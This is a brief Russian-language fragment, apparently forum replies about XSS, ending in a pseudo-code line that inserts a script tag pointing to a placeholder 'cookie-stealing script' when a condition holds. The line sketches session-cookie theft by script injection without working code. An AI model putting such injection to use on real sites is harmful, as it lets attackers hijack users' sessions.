Ни типя одного
ontop
Какая XSS?
if($active===true) <script src="путь до скрипта с угоном кукей"> </script> else уже другой разговор